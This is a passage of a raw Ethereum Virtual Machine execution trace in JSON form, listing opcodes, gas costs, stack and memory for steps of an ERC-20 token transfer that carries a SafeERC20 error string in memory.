206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8160,"op":"PUSH1","gas":29624,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8162,"op":"PUSH1","gas":29621,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8164,"op":"DUP3","gas":29618,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8165,"op":"DUP5","gas":29615,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x20","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8166,"op":"SUB","gas":29612,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x20","0x184","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8167,"op":"SLT","gas":29609,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8168,"op":"ISZERO","gas":29606,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8169,"op":"PUSH2","gas":29603,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8172,"op":"JUMPI","gas":29600,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0","0x1","0x1ff1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8177,"op":"JUMPDEST","gas":29590,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8178,"op":"POP","gas":29589,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8179,"op":"MLOAD","gas":29587,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x184"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8180,"op":"SWAP2","gas":29584,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xb15","0x1a4","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8181,"op":"SWAP1","gas":29581,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2bda9a60795e41856a32","0x1a4","0xb15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8182,"op":"POP","gas":29578,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2bda9a60795e41856a32","0xb15","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8183,"op":"JUMP","gas":29576,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2bda9a60795e41856a32","0xb15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2837,"op":"JUMPDEST","gas":29568,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2838,"op":"SWAP3","gas":29567,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2839,"op":"POP","gas":29564,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2840,"op":"POP","gas":29562,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2841,"op":"POP","gas":29560,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2842,"op":"PUSH1","gas":29558,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2844,"op":"DUP8","gas":29555,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2845,"op":"DUP6","gas":29552,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2846,"op":"PUSH2","gas":29549,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x136dbf40ac09b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2849,"op":"SWAP2","gas":29546,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc